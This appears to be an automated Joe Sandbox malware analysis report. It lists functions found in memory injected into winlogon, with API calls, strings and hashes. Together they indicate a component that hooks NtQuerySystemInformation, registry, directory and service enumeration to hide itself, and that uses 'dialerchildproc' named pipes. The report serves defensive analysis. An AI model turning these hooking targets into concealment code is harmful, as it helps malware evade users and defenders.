Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: eae4a35ccf18d1ff6c879c1ad54c2bd4091f653bf096b8bfe55e41d2011e4d15
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 35316074130ACBE0EA45EBA9EDA16ECF322FF84344F8050339C1D12565AF788289CB50

Function 000001E8589B6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001E8589B6938
__scrt_acquire_startup_lock.LIBCMT ref: 000001E8589B698A
_RTC_Initialize.LIBCMT ref: 000001E8589B69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001E8589B69DE
__scrt_release_startup_lock.LIBCMT ref: 000001E8589B6A09

Strings

`eh vector vbase copy constructor iterator', xrefs: 000001E8589B69EE
`dynamic initializer for ', xrefs: 000001E8589B69C7
`eh vector copy constructor iterator', xrefs: 000001E8589B6A3B
scriptor', xrefs: 000001E8589B6B39, 000001E8589B6BB2, 000001E8589B6BEC

Memory Dump Source

Source File: 0000001F.00000002.3284708688.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 5a678c2123d8270ec6fb616ddb0a075a8484000318cf7b7c2c8d3db3c22f7b07
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 2E818B316282C1CEFB92AB65D8413DDF6A0EF85B82F5481379E8D87796DF39E8458700

Function 000001E858956910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001E858956938
__scrt_acquire_startup_lock.LIBCMT ref: 000001E85895698A
_RTC_Initialize.LIBCMT ref: 000001E8589569B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001E8589569DE
__scrt_release_startup_lock.LIBCMT ref: 000001E858956A09

Strings

`eh vector vbase copy constructor iterator', xrefs: 000001E8589569EE
scriptor', xrefs: 000001E858956B39, 000001E858956BB2, 000001E858956BEC
`eh vector copy constructor iterator', xrefs: 000001E858956A3B
`dynamic initializer for ', xrefs: 000001E8589569C7

Memory Dump Source

Source File: 0000001F.00000002.3284181890.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858950000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: dbfcc5e9c0d96a37b9fd7991c7f30359c355952af576fe6994b0ae7cc5e7709f
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: CB817B317352C1CAFA96AB66D8513DDF3A0AF85782F548037AE4D87796DF38C94A8700

Function 000001E85898CE28 Relevance: 18.1, APIs: 12, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001E85898CE37
FlsGetValue.KERNEL32(?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CE4C
FlsSetValue.KERNEL32(?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CE6D
FlsSetValue.KERNEL32(?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CE9A
FlsSetValue.KERNEL32(?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CEAB
FlsSetValue.KERNEL32(?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CEBC
SetLastError.KERNEL32 ref: 000001E85898CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CF0D
FlsSetValue.KERNEL32(?,?,00000001,000001E85898ECCC,?,?,?,?,000001E85898BF9F,?,?,?,?,?,000001E858987AB0), ref: 000001E85898CF2C

Part of subcall function 000001E85898D6CC: HeapAlloc.KERNEL32 ref: 000001E85898D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CF54

Part of subcall function 000001E85898D744: HeapFree.KERNEL32 ref: 000001E85898D75A
Part of subcall function 000001E85898D744: GetLastError.KERNEL32 ref: 000001E85898D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CF76

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: f86b91cb66a3c6f8454f4038e5b621bb7ea2211ae881aec1b10a116c1fa3f1b4
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 96416E302312CAC6FAA8A735D5553FDF2425F847B8F541736AD3F476E7DE2888018A40

Function 000001E858982244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001E858982259
GetCurrentProcessId.KERNEL32 ref: 000001E858982263

Part of subcall function 000001E858981934: OpenProcess.KERNEL32 ref: 000001E858981952
Part of subcall function 000001E858981934: IsWow64Process.KERNEL32 ref: 000001E858981968
Part of subcall function 000001E858981934: CloseHandle.KERNEL32 ref: 000001E858981983

CreateFileW.KERNEL32 ref: 000001E8589822BC
WriteFile.KERNEL32 ref: 000001E8589822E4
ReadFile.KERNEL32 ref: 000001E858982303
CloseHandle.KERNEL32 ref: 000001E85898230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 000001E858982293
\\.\pipe\dialerchildproc64, xrefs: 000001E85898228C

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 51a05a011626c34f84d443abd0de517d886d5e25bc20737c8bb9c705d9869c07
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: A5211D36624781C2EB109B25F5543ADB7A1FB89BE5F504226EE5E02AA8DF7CC149CF00

Function 000001E8589B9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001E8589B99A1

Part of subcall function 000001E8589BA814: __GetUnwindTryBlock.LIBCMT ref: 000001E8589BA857
Part of subcall function 000001E8589BA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001E8589BA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001E8589B9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001E8589B9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001E8589B9DDA

Strings

csm, xrefs: 000001E8589B9A9C
csm, xrefs: 000001E8589B9A22
csm, xrefs: 000001E8589B99BB

Memory Dump Source

Source File: 0000001F.00000002.3284708688.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: ea488144e67ee9814cb3c00e2a8ac0c782a2014a7bbb5d57e2db9a248e5ddb93
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: F4E18D72628BC1CAEB609F65D4813DDB7A4FB89B99F100126EE8D57B9ADF34C491C700

Function 000001E85898A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001E85898A5A1

Part of subcall function 000001E85898B414: __GetUnwindTryBlock.LIBCMT ref: 000001E85898B457
Part of subcall function 000001E85898B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001E85898B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001E85898A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001E85898A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001E85898A9DA

Strings

csm, xrefs: 000001E85898A5BB
csm, xrefs: 000001E85898A622
csm, xrefs: 000001E85898A69C

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: fb0b219c5a3f278c8c4be7db907598bc1cd6189e151ec6c18a9f6efa96547db1
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 48E15A73624B82CAEB609B65D4803DDB7E0FB55798F140126EE8D57B99CF38D481CB02

Function 000001E858959944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001E8589599A1

Part of subcall function 000001E85895A814: __GetUnwindTryBlock.LIBCMT ref: 000001E85895A857
Part of subcall function 000001E85895A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001E85895A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001E858959A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001E858959CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001E858959DDA

Strings

csm, xrefs: 000001E858959A9C
csm, xrefs: 000001E8589599BB
csm, xrefs: 000001E858959A22

Memory Dump Source

Source File: 0000001F.00000002.3284181890.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858950000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: ea3d8d01707ad5d94a13b4fba9cf6eb05f996a68f408e0993dfcc1eae4dccdcf
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: AFE16972624B81CAFB609B65E4813DDB7A4FF85B99F100126EE8D57B9ACF34C591CB00

Function 000001E85898F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000001E85898F510
GetProcAddress.KERNEL32 ref: 000001E85898F51C

Strings

api-ms-, xrefs: 000001E85898F45A
ext-ms-, xrefs: 000001E85898F46D

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 44c234c9404ffe7b5e1619124c70eb274fb59fe55c9541b10c09b14d45380197
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 2C410032331A92C1EA16DB66E8087DEB391FF49BE0F19513B9D0E97786EE38C4458700

Function 000001E85898104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001E8589810B1
RegEnumValueW.ADVAPI32 ref: 000001E858981117
GetProcessHeap.KERNEL32 ref: 000001E85898115A
HeapAlloc.KERNEL32 ref: 000001E858981168
GetProcessHeap.KERNEL32 ref: 000001E858981185
HeapFree.KERNEL32 ref: 000001E858981193

Strings

d, xrefs: 000001E8589810D6

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 9981850cc48d31037741c2cded26c72f9a92758d62ae1b8330bcbb02fb765734
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 5F414F73224BC4C6E760DF61E44479EB7A1F789B98F44812ADE8A07B58DF38C585CB40

Function 000001E85898D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000001E85898C7DE,?,?,?,?,?,?,?,?,000001E85898CF9D,?,?,00000001), ref: 000001E85898D087
FlsSetValue.KERNEL32(?,?,?,000001E85898C7DE,?,?,?,?,?,?,?,?,000001E85898CF9D,?,?,00000001), ref: 000001E85898D0A6
FlsSetValue.KERNEL32(?,?,?,000001E85898C7DE,?,?,?,?,?,?,?,?,000001E85898CF9D,?,?,00000001), ref: 000001E85898D0CE
FlsSetValue.KERNEL32(?,?,?,000001E85898C7DE,?,?,?,?,?,?,?,?,000001E85898CF9D,?,?,00000001), ref: 000001E85898D0DF
FlsSetValue.KERNEL32(?,?,?,000001E85898C7DE,?,?,?,?,?,?,?,?,000001E85898CF9D,?,?,00000001), ref: 000001E85898D0F0

Strings

1%, xrefs: 000001E85898D0CE
Y%, xrefs: 000001E85898D0A6

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 9c311fea4b2fa3c9ab43cbea4d372c8830d6ac0f2b4a448fbd82eec820a9dce2
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: A8110A717242C6C1FA68AB25D9513FDF1416FC47F0F546336AC3E476EADE68C4028A00

Function 000001E858987510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001E858987538
__scrt_acquire_startup_lock.LIBCMT ref: 000001E85898758A
_RTC_Initialize.LIBCMT ref: 000001E8589875B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001E8589875DE
__scrt_release_startup_lock.LIBCMT ref: 000001E858987609

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: f82d139e0262af235c5c503c080292d7917c2a0aa74f472ae0aed1caa77cd681
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 5F816B396202C3EAFB50AB65E8813EDF691AF85780F544437AD0DA7796EE38C8458F11

Function 000001E858989DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000001E858989E49
GetLastError.KERNEL32 ref: 000001E858989E57
LoadLibraryExW.KERNEL32 ref: 000001E858989E81
FreeLibrary.KERNEL32 ref: 000001E858989EC7
GetProcAddress.KERNEL32 ref: 000001E858989ED3

Strings

api-ms-, xrefs: 000001E858989E69

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: ed1d6103eff1dcc676994d656ad2f911c5872803e8dc8710478f2b646a537078
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: F831A4313226C2E2EE229B42E4407EDB694BF48BA0F5905379D5E47792EF39C4658B10

Function 000001E858993DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001E858993DE5
GetLastError.KERNEL32 ref: 000001E858993DF1
CloseHandle.KERNEL32 ref: 000001E858993E09
CreateFileW.KERNEL32 ref: 000001E858993E34
WriteConsoleW.KERNEL32 ref: 000001E858993E53

Strings

CONOUT$, xrefs: 000001E858993E15

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 848c5f808f98b7fe64fe1be9f14dffa162bf3ffb4f70aadf000dfa4e6251c1b3
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: C6115B31320AC0C6E7619B56E84439DB6A1FB88FE4F444226EE5E877A4DF38C8148744

Function 000001E858982F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001E858982F27
HeapAlloc.KERNEL32 ref: 000001E858982F3A
StrCmpNIW.SHLWAPI ref: 000001E858982FAF
GetProcessHeap.KERNEL32 ref: 000001E858983015
HeapFree.KERNEL32 ref: 000001E858983023

Strings

dialer, xrefs: 000001E858982FA8

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: c1fd6422857e38418c878c4cd41444f40647f04957361f5aedf899a272e96910
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 22315A32721B92C2EA15DF96E5407ADF7A1BF44B84F0841329E4D47B59EF38C4A1CB00

Function 000001E85898CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001E85898CFAF
FlsSetValue.KERNEL32(?,?,?,000001E85898D6B5,?,?,?,?,000001E85898D778), ref: 000001E85898CFE5
FlsSetValue.KERNEL32(?,?,?,000001E85898D6B5,?,?,?,?,000001E85898D778), ref: 000001E85898D012
FlsSetValue.KERNEL32(?,?,?,000001E85898D6B5,?,?,?,?,000001E85898D778), ref: 000001E85898D023
FlsSetValue.KERNEL32(?,?,?,000001E85898D6B5,?,?,?,?,000001E85898D778), ref: 000001E85898D034
SetLastError.KERNEL32 ref: 000001E85898D04F

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: cd1afe50f7e6de5fdb75e3b85d99f54b8b5774328d87a634973043da6fa4d35a
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 061159312212C6C2FA69A721D5953BDF2426F887F4F141736AC3F876EADE6884018A00

Function 000001E85898199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001E8589819C2
K32GetModuleFileNameExW.KERNEL32 ref: 000001E8589819E0
PathFindFileNameW.SHLWAPI ref: 000001E8589819EF
lstrlenW.KERNEL32 ref: 000001E8589819FB
StrCpyW.SHLWAPI ref: 000001E858981A0E
CloseHandle.KERNEL32 ref: 000001E858981A1C

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 60db19895ce507a708008e45d9c0298ffec254aa5bc9d4092071c0d004566a38
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 28011731320AC1C2EB64DB52E89879DB3A6FB88BC4F884036DE5E53755DE38C989C740

Function 000001E8589836C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001E8589836E4
GetCurrentProcess.KERNEL32 ref: 000001E8589836F2
VirtualProtectEx.KERNEL32 ref: 000001E858983714
GetCurrentProcess.KERNEL32 ref: 000001E858983732
VirtualProtectEx.KERNEL32 ref: 000001E858983753
TerminateThread.KERNEL32 ref: 000001E858983762

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 18b328c97b5f9e14fffcfa9212a447ac2abda381c2e5647efa8e85a057c85cab
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 19011775321BC0C6EB259B62E84879DB2A1BF49B86F04443ACD4E07B65EF3DC1488B00

Function 000001E858988FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E858989013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001E8589890A8
RtlUnwindEx.NTDLL ref: 000001E8589890F7

Strings

f, xrefs: 000001E858989026
csm, xrefs: 000001E85898908E

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: c300b2b6b54622bad3c43c23df103e30e38a6bb1438ec9a2dd89e032c6842fde
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: 53518932729683CAEB54CB15E848B9DB7A6FB44B88F508536DE4B47788DF39C841CB00

Function 000001E858981A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001E858981A60
StrCmpNIW.SHLWAPI ref: 000001E858981A7A
lstrlenW.KERNEL32 ref: 000001E858981A89
StrCpyW.SHLWAPI ref: 000001E858981A9E

Strings

\\?\, xrefs: 000001E858981A6E

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: d0bcd0cf9b4692289a878d77c8ac4738952449dce6fe18ad4e1a7071ab5e44cd
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: D4F03C723246C1D2EB609B61F9C479DB761FB88BC8F844032DE4D46954DE2CC68DCB00

Function 000001E85898BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001E85898BCBD
GetProcAddress.KERNEL32 ref: 000001E85898BCD3
FreeLibrary.KERNEL32 ref: 000001E85898BCFA

Strings

mscoree.dll, xrefs: 000001E85898BCB4
